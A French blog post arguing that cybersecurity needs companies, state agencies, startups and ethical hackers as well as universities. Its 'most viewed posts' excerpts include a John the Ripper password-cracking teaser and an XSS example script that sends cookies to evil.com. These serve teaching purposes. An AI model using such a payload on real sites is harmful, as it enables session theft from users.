Accéder au contenu principal

Axel Legay -- Pourquoi la cybersécurité ne doit pas être laissée aux seules universités

 

Introduction

La cybersécurité est devenue un pilier fondamental de la stabilité numérique mondiale. Alors que les universités jouent un rôle clé dans la formation des talents, il serait illusoire et risqué de leur confier l’entière responsabilité de la cybersécurité. Cette mission doit être collective, agile et ancrée dans le réel, car les cybermenaces n’attendent pas la fin d’un semestre pour frapper.

1. Le rôle (limité) des universités dans la cybersécurité

Les universités forment les bases théoriques : cryptographie, protocoles, gouvernance IT, etc. Mais plusieurs limites émergent :

  • 🐢 Temps long académique : un programme de master met souvent 2 à 4 ans à s’actualiser.

  • 🔧 Peu de pratique offensive/défensive réelle (peu de labs type "Red Team" vs "Blue Team").

  • 📚 Absence de confrontation au monde réel : peu de contact avec des cyberattaques réelles ou APT (Advanced Persistent Threats).

Exemple : en 2023, de nombreuses universités en Europe ne couvraient toujours pas les menaces issues de LLMs ou l’attaque SolarWinds de 2020.

2. Pourquoi la cybersécurité exige une réponse multidimensionnelle

🏢 Les entreprises : sur le front, tous les jours

Des groupes comme Palo Alto Networks, CrowdStrike, ou même Orange Cyberdefense développent des solutions innovantes (XDR, zero trust, sandboxing), en contact direct avec les menaces.

Une DSI d’entreprise ne peut attendre qu’un étudiant soit diplômé pour répondre à un ransomware.

🛡️ Les États : garants de la cybersécurité nationale

Des agences comme :

  • 🇫🇷 ANSSI (France)

  • 🇪🇺 ENISA (Europe)

  • 🇺🇸 CISA (États-Unis)

...coordinent des plans de cyberdéfense à l’échelle nationale. Leur rôle dépasse largement la sphère académique : gestion de crise, cyber renseignement, protection des infrastructures critiques.

🚀 Les startups : innovation, agilité, disruption

Des jeunes pousses comme :

  • YesWeHack (bug bounty européen),

  • CybelAngel (détection de fuite de données),

  • Hackuity (gestion des vulnérabilités),

...proposent des approches que les cursus universitaires ne couvrent pas encore.

🧠 Les experts non académiques : un vivier de talents atypiques

De nombreux autodidactes et hackers éthiques participent à la sécurité des systèmes via le bug bounty, le pentesting, ou les CTF (Capture The Flag). Certains d’entre eux sont mieux préparés au réel que des diplômés d’école d’ingénieur.

3. Les risques d’une cybersécurité "académique-only"

RisqueConséquence
📉 Déconnexion du terrainOutils obsolètes ou inadaptés
🚪 Manque de diversité de profilsExclusion des hackers, makers, autodidactes
🧩 Centralisation du savoirPeu d’adaptabilité face à des menaces globales
🕸️ Réponse lente aux attaquesDélai de détection/traitement critique

4. Vers une cybersécurité collaborative

L’avenir de la cybersécurité repose sur une collaboration entre :

  • Universités : recherche & formation.

  • Entreprises : innovation & réaction.

  • Gouvernements : stratégie & protection nationale.

  • Startups : disruption technologique.

  • Communautés : éthique, open-source, veille.

Une cybersécurité partagée, c’est une sécurité renforcée.

Conclusion

La cybersécurité ne peut être confinée aux universités. Elle doit être ancrée dans l’opérationnel, ouverte à la diversité des talents, et en évolution constante. En misant sur l’intelligence collective, nous pouvons espérer bâtir une infrastructure numérique résiliente, agile et inclusive.

Commentaires

Posts les plus consultés de ce blog

🔓 Peut-on vraiment "craquer" un mot de passe ? Une démonstration pas à pas 👇 Ce qu’on va faire Dans cet article, on montre concrètement comment un outil gratuit (présent dans Kali Linux) peut retrouver un mot de passe simple en quelques secondes. Mais on va aussi voir pourquoi un mot de passe complexe bloque toute attaque — et comprendre pourquoi. 🛠️ Les outils nécessaires On utilise un outil connu des experts cybersécurité : John the Ripper (inclus dans Kali Linux, utilisé pour les tests d’audit de mots de passe). John ne "pirate" pas un système en ligne. Il teste des mots de passe chiffrés en local , comme s’il avait volé un fichier de mots de passe (un hash). Cela simule ce qui se passe quand un hacker récupère une base de données de mots de passe cryptés . ✅ Étape 1 – Créer un mot de passe simple et le chiffrer On va créer un mot de passe : bonjour123 Puis on le chiffre avec cette commande : echo -n "bonjour123" | openssl passwd -...
Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée. Étape 1 : Comprendre les données et le rôle de df Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu ( Survived = 1 ) ou non ( Survived = 0 ). Quand on lit ce fichier CSV avec pandas , on stocke les données dans une structure appelée DataFrame , abrégée en df . Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et ch...
🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité 🧭 Pourquoi ce guide ? Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être : défiguré (defacement) utilisé pour héberger du code malveillant piraté pour voler des données utilisateurs utilisé comme relais pour des campagnes de phishing 👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables . Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes. 🚨 Exemples concrets d'attaques fréquentes 1. XSS (Cross-Site Scripting) But : injecter du JavaScript malveillant dans une page web. Exemple : <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> Résultat : vol de session, redirection ou infection. 2. Exposition de fichiers sensibles But : accéder à des fich...